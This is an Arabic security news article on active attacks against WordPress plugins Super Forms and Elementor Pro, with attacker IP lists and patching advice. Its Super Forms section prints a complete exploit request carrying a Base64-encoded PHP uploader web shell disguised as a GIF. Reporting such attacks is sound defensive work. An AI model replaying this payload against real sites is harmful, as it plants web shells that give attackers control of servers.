في عالم الأمن السيبراني، تعتبر الثغرات الأمنية في إضافات ووردبريس مصدر قلق كبير. في هذا المقال، نستعرض تفاصيل حول ثغرتين حرجتين تم استغلالهما بشكل واسع.
أكثر من 440,000 محاولة استغلال تستهدف ثغرات Super Forms وElementor Pro
يستغل المهاجمون ثغرتين أمنيتين حرجتين في إضافات ووردبريس Super Forms وElementor Pro، وفقًا للنتائج التي توصلت إليها Wordfence.
الثغرات المعنية هي:
- CVE-2026-14894 (درجة CVSS: 9.8) – ثغرة عدم التحقق من نوع الملف في Super Forms – Drag & Drop Form Builder، مما يسمح للمهاجمين غير المصرح لهم بتحميل ملفات من أي نوع، بما في ذلك ملفات PHP القابلة للتنفيذ، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. (تم إصلاحها في الإصدار 6.3.314)
- CVE-2026-32475 (درجة CVSS: 9.0/9.8) – ثغرة في Elementor Pro تسمح للمهاجمين غير المصرح لهم بتحميل ملفات من أي نوع، بما في ذلك ملفات PHP القابلة للتنفيذ، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. (تم إصلاحها في الإصدار 4.2.2)
كما هو الحال مع ثغرات تحميل الملفات العشوائية من هذا النوع، يمكن للمهاجم استغلالها لكتابة قشرة ويب PHP على الموقع وتنفيذ تعليمات برمجية عشوائية، والتي يمكن أن تُستغل بعد ذلك لإنشاء حسابات مسؤول، أو تسريب بيانات، أو السيطرة على الموقع بالكامل.
من الجدير بالذكر أن تفاصيل CVE-2026-32475 تم الكشف عنها من قبل Patchstack الشهر الماضي. تتطلب الاستغلال الناجح أن يحتوي الموقع المستهدف على صفحة Elementor واحدة على الأقل تحتوي على عنصر نموذج مع حقل تحميل ملف.
في تقريرين نُشرا هذا الأسبوع، قالت Wordfence إنها قد منعت بالفعل أكثر من 250,000 و190,000 محاولة استغلال تستهدف CVE-2026-14894 وCVE-2026-32475، على التوالي.
الاستغلال ضد CVE-2026-14894
في الهجمات التي تستغل CVE-2026-14894، وُجد أن المهاجمين يقومون بإصدار طلب HTTP POST إلى “/wp-admin/admin-ajax.php” باستخدام نقطة النهاية “super_submit_form”، تحتوي على حقل ملف مع حمولة PHP مشفرة بتنسيق Base64 واسم ملف يتحكم فيه المهاجم كما يلي –
action=super_submit_form&form_id=2&sf_nonce=04c3aa2046&data={"sf_upload_field": {"type": "files", "files": [{"datauristring": "data:image/gif;base64,PD9waHAgaWYoaXNzZXQoJF9GSUxFU1siZmlsZSJdKSl7JHRhcmdldD1iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0KSl7ZWNobyLinIUgVXBsb2FkZWQ6IDxhIGhyZWY9JyR0YXJnZXQnPiR0YXJnZXQ8L2E+Ijt9ZWxzZXtlY2hvIuKdjCBVcGxvYWQgZmFpbGVkISI7fWV4aXQ7fT8+PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPk11c2hyMDB3IFVwbG9hZGVyPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7aGVpZ2h0OjEwMHZoO21hcmdpbjowOyI+PGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0iYmFja2dyb3VuZDojMTExO3BhZGRpbmc6NDBweDtib3JkZXI6MnB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXJhZGl1czoxMHB4O3RleHQtYWxpZ246Y2VudGVyOyI+PGgyPvCfk6QgVVBMT0FEPC9oMj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgcmVxdWlyZWQgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2JvcmRlcjoxcHggc29saWQgIzAwZmYwMDtwYWRkaW5nOjEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Ij48YnI+PGJyPjxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0iYmFja2dyb3VuZDojMDBmZjAwO2NvbG9yOiMwYTBhMGE7cGFkZGluZzoxMHB4IDMwcHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDtjdXJzb3I6cG9pbnRlcjsiPuKshiBVcGxvYWQ8L2J1dHRvbj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4=", "value": "Mushr00w_upl.php", "name": "Mushr00w_upl.php", "label": "attachment"}]}}الملف المرفوع، على الرغم من أنه مسبوق بنوع المحتوى “data:image/gif;base64″، هو قشرة ويب PHP (“Mushr00w_upl.php”), والتي تعمل بعد ذلك كقناة لتحميل حمولات إضافية إلى الموقع. وقد بدأت الهجمات التي تستغل إضافة Super Forms من عناوين IP التالية –
- 103.168.147.235
- 103.168.146.131
- 103.154.152.178
- 103.170.97.7
- 182.10.130.51
- 189.4.122.140
- 129.227.46.143
- 64.176.209.104
- 103.164.182.122
- 37.9.33.62
يُقال إن النشاط الخبيث قد بدأ في 14 يوليو 2026، قبل أن يصل إلى ذروته بأكثر من 40,000 طلب استغلال في 18 أغسطس 2026.
الاستغلال ضد CVE-2026-32475
“يقوم المهاجم بتقديم حقل تحميل الملف في النموذج كمصفوفة، حيث العنصر الأول فارغ والعنصر الثاني يحمل حمولة PHP مع اسم ملف .php، وهو الهيكل الذي يحفز تجاوز التحقق،” قالت الشركة الأمنية ووردبريس.
“بمجرد الكتابة، يتم وضع الملف PHP المرفوع في دليل ‘/wp-content/uploads/elementor/forms/’ تحت اسم ملف عشوائي تم إنشاؤه بواسطة المهاجم مع امتداد .php، ويمكن للمهاجم طلبه مباشرة لتنفيذ أوامر عشوائية على الخادم.”
بدأت جهود الاستغلال التي تستهدف CVE-2026-32475 في 19 أغسطس 2026، وقد نشأت من عناوين IP أدناه –
- 2602:fa59:10:7a1::1
- 185.196.220.85
- 103.84.230.85
- 103.90.148.202
- 216.126.225.208
- 167.254.240.75
- 167.254.241.119
- 114.10.17.253
- 114.10.45.151
- 2406:ef80:2:7d19::1
يُنصح مالكو مواقع ووردبريس الذين يستخدمون الإضافتين بتطبيق التصحيحات الخاصة بالثغرات على الفور، وفحص مواقعهم بحثًا عن مؤشرات الاختراق، والتدقيق في الملفات .php غير المتوقعة أو التي تم تعديلها مؤخرًا.
تأكد من تحديث إضافاتك وفحص موقعك بانتظام لحماية نفسك من هذه التهديدات المتزايدة.
